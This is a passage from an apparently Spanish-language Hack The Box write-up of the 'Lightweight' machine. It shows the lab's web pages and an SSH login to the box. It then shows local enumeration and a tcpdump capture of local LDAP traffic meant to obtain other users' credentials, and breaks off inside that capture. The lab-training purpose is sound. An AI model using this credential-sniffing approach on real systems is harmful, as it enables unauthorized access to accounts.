</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://unpkg.com/slendr@1.2.2/dist/slendr.umd.js&#39;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/index.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p><img src="/img/htb-lightweight/www-home.png" alt="home"></p>
<p>Podemos ver por el home, que tenemos referencias a archivos en PHP y que se trata de una aplicación de slides. Los archivos php que tienen referencia son: <code>info.php</code>, <code>status.php</code> y <code>user.php</code>.</p>
<p>Exploremos uno por uno para ver que encontramos.</p>
<ol>
<li>info.php</li>
</ol>
<p><img src="/img/htb-lightweight/www-info.png" alt="info"></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 1727
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 08 Apr 2019 15:49:19 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/5.4.16
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span> &gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Lightweight slider evaluation page - slendr&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://fonts.googleapis.com/css?family=Roboto:100,300&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-content&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-box&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">h1</span>&gt;Info&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;As part of our SDLC, we need to validate a new proposed configuration for our front end servers with a penetration test.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;Real pages have been removed and a fictionary content has been updated to the site. Any functionality to be tested has been integrated.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;This server is protected against some kinds of threats, for instance, bruteforcing. If you try to bruteforce some of the exposed services you may be banned up to 5 minutes.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;If you get banned it&#39;s your fault, so please do not reset the box and let other people do their work while you think a different approach.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;A list of banned IP is avaiable &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;status.php&#34;</span>&gt;here&lt;/<span style="color:#f92672">a</span>&gt;. You may or may not be able to view it while you are banned.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;If you like to get in the box, please go to the &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user.php&#34;</span>&gt;user&lt;/<span style="color:#f92672">a</span>&gt; page.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;index.php&#34;</span>&gt;home&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info.php&#34;</span>&gt;info&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;status.php&#34;</span>&gt;status&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user.php&#34;</span>&gt;user&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Info presenta unos mensajes bastante comunicativos. Nos indican que si realizamos un bruteforce al servicio HTTP, esta bloqueara la IP por 5 minutos. En esta pagina podemos ver las direcciones IP que actualmente se encuentran bloqueadas, que obviamente no podemos ver si estamos bloqueados.</p>
<ol start="2">
<li>user.php</li>
</ol>
<p><img src="/img/htb-lightweight/www-user.png" alt="user"></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 1495
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 08 Apr 2019 15:49:56 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/5.4.16
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span> &gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Lightweight slider evaluation page - slendr&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://fonts.googleapis.com/css?family=Roboto:100,300&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-content&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-box&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">h1</span>&gt;Your account&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;If you did not read the info page, please go &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info.php&#34;</span>&gt;there&lt;/<span style="color:#f92672">a</span>&gt; the and read it carefully.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;This server lets you get in with ssh. Your IP (10.10.14.249) is automatically added as userid and password within a minute of your first http page request. We strongly suggest you to change your password as soon as you get in the box.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;If you need to reset your account for whatever reason, please click &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;reset.php&#34;</span>&gt;here&lt;/<span style="color:#f92672">a</span>&gt; and wait (up to) a minute. Your account will be deleted and added again. Any file in your home directory will be deleted too.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;index.php&#34;</span>&gt;home&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info.php&#34;</span>&gt;info&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;status.php&#34;</span>&gt;status&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user.php&#34;</span>&gt;user&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>En user, tenemos una notificación al ingresar sobre un acceso que se nos ha otorgado de manera automática al visitar la pagina. Este acceso es vía SSH usando nuestra dirección IP como usuario y contraseña.</p>
<p>También aparece un nuevo enlace, el de reset.php. Este enlace nos sirve para ejecutar la baja y alta automática de nuestra cuenta, donde su proceso nos deja un home fresco.</p>
<ol start="3">
<li>status.php</li>
</ol>
<p><img src="/img/htb-lightweight/www-status.png" alt="status"></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ http http://10.10.10.119/status.php
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 1052
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 08 Apr 2019 23:06:47 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/5.4.16
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span> &gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Lightweight slider evaluation page - slendr&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://fonts.googleapis.com/css?family=Roboto:100,300&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;stylesheet prefetch&#39;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css&#39;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-content&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;slider-box&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;List of banned IPs&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">i</span>&gt;You may or may not see this page when you are banned. &lt;/<span style="color:#f92672">i</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">i</span>&gt;This page has been generated at 2019/04/09 00:07:07. Data is refreshed every minute.&lt;/<span style="color:#f92672">i</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;index.php&#34;</span>&gt;home&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;info.php&#34;</span>&gt;info&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;status.php&#34;</span>&gt;status&lt;/<span style="color:#f92672">a</span>&gt;&amp;nbsp;&amp;nbsp;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user.php&#34;</span>&gt;user&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>En status podremos ver las direcciones baneadas actualmente, así como la ultima fecha que este reporte fue generado.</p>
<p>Con los elementos actualmente descubiertos y analizando su interacción, info es puramente estático, mientras que reset, status y user, generan alguna acción en el backend para proveernos información. Ejemplo:</p>
<ul>
<li>Cuando visite user, alguna función tomo mi dirección y procedió a dar el alta en el back.</li>
<li>Cuando visite status, se debió consultar algún punto que tenga esta información</li>
<li>Finalmente con reset, aunque no lo ejecute, su descripción es clara. Hay un proceso de baja y alta de usuarios.</li>
</ul>
<p>Ahora, entremos por SSH a la maquina para seguir investigando.</p>
<h1 id="enum-ssh-restricted-env">Enum ssh restricted env</h1>
<p>Después de usar a user.php, entramos directamente a la maquina solo para encontrarnos que no hay nada realmente útil:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/lightweight$ ssh 10.10.14.36@10.10.10.119
</span></span><span style="display:flex;"><span>10.10.14.36@10.10.10.119&#39;s password:
</span></span><span style="display:flex;"><span>[10.10.14.36@lightweight ~]$
</span></span><span style="display:flex;"><span>[10.10.14.36@lightweight ~]$ ps -fea
</span></span><span style="display:flex;"><span>UID        PID  PPID  C STIME TTY          TIME CMD
</span></span><span style="display:flex;"><span>10.10.1+ 14195 14194  0 05:24 pts/0    00:00:00 -bash
</span></span><span style="display:flex;"><span>10.10.1+ 14233 14195  0 05:24 pts/0    00:00:00 ps -fea
</span></span><span style="display:flex;"><span>[10.10.14.36@lightweight ~]$ id
</span></span><span style="display:flex;"><span>uid=1010(10.10.14.36) gid=1010(10.10.14.36) grupos=1010(10.10.14.36) contexto=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
</span></span><span style="display:flex;"><span>[10.10.14.36@lightweight ~]$ ls -lah
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwx------.  4 10.10.14.36 10.10.14.36  91 may 19 05:24 .
</span></span><span style="display:flex;"><span>drwxr-xr-x. 12 root        root        195 may 19 05:24 ..
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 10.10.14.36 10.10.14.36  18 abr 11  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 10.10.14.36 10.10.14.36 193 abr 11  2018 .bash_profile
</span></span><span style="display:flex;"><span>-rw-r--r--.  1 10.10.14.36 10.10.14.36 246 jun 15  2018 .bashrc
</span></span><span style="display:flex;"><span>drwxrwxr-x.  3 10.10.14.36 10.10.14.36  18 may 19 05:24 .cache
</span></span><span style="display:flex;"><span>drwxrwxr-x.  3 10.10.14.36 10.10.14.36  18 may 19 05:24 .config
</span></span><span style="display:flex;"><span>[10.10.14.36@lightweight ~]$ ls ../
</span></span><span style="display:flex;"><span>10.10.14.197  10.10.14.2  10.10.14.36  10.10.15.193  10.10.15.213  10.10.15.71  10.10.16.119  10.10.17.22  ldapuser1  ldapuser2
</span></span><span style="display:flex;"><span>[10.10.14.36@lightweight ~]$ ls ../ldapuser*
</span></span><span style="display:flex;"><span>ls: no se puede abrir el directorio ../ldapuser1: Permiso denegado
</span></span><span style="display:flex;"><span>ls: no se puede abrir el directorio ../ldapuser2: Permiso denegado
</span></span></code></pre></div><h1 id="intercepting-local-ldap-queries">Intercepting local ldap queries</h1>
<p>Seguí investigando pero no encontré nada realmente de valor hasta que recibí un hit. El camino que había seguido en describir la aplicación tenia lagunas, porque a modo descriptivo sabia que hacían las paginas, pero no como. Entonces si no puedo leer al emisor o al receptor, puedo tratar de leer el medio. Aquí es donde aunque parece sacado de la manga, pase muchas horas tratando de entender como poder llegar a ldapuser1 o ldapuser2.</p>
<p>Después de entender eso y probar varios filtros, logre capturar lo siguiente mientras visitaba status.php (por cierto, esta pagina me dio mala espina desde que era la única que tardaba mucho, como si de alguna tarea se tratase):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[10.10.14.151@lightweight ~]$ tcpdump -i any -XX -vv &#39;tcp port 389&#39;
</span></span><span style="display:flex;"><span>tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
</span></span><span style="display:flex;"><span>00:07:07.973705 IP (tos 0x0, ttl 64, id 49718, offset 0, flags [DF], proto TCP (6), length 60)
</span></span><span style="display:flex;"><span>    lightweight.htb.37972 &gt; lightweight.htb.ldap: Flags [S], cksum 0x2930 (incorrect -&gt; 0x19de), seq 4118891294, win 43690, options [mss 65495,sackOK,TS val 11634984 ecr 0,nop,wscale 6], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 003c c236 4000 4006 4f84 0a0a 0a77  E..&lt;.6@.@.O....w
</span></span><span style="display:flex;"><span>	0x0020:  0a0a 0a77 9454 0185 f581 4b1e 0000 0000  ...w.T....K.....
</span></span><span style="display:flex;"><span>	0x0030:  a002 aaaa 2930 0000 0204 ffd7 0402 080a  ....)0..........
</span></span><span style="display:flex;"><span>	0x0040:  00b1 8928 0000 0000 0103 0306 0100 0400  ...(............
</span></span><span style="display:flex;"><span>	0x0050:  0400 0000 0000 0000 0000 0000            ............
</span></span><span style="display:flex;"><span>00:07:07.973762 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
</span></span><span style="display:flex;"><span>    lightweight.htb.ldap &gt; lightweight.htb.37972: Flags [S.], cksum 0x2930 (incorrect -&gt; 0x3ae4), seq 3241251805, ack 4118891295, win 43690, options [mss 65495,sackOK,TS val 11634984 ecr 11634984,nop,wscale 6], length 0
</span></span><span style="display:flex;"><span>	0x0000:  0000 0304 0006 0000 0000 0000 0000 0800  ................
</span></span><span style="display:flex;"><span>	0x0010:  4500 003c 0000 4000 4006 11bb 0a0a 0a77  E..&lt;..@.@......w
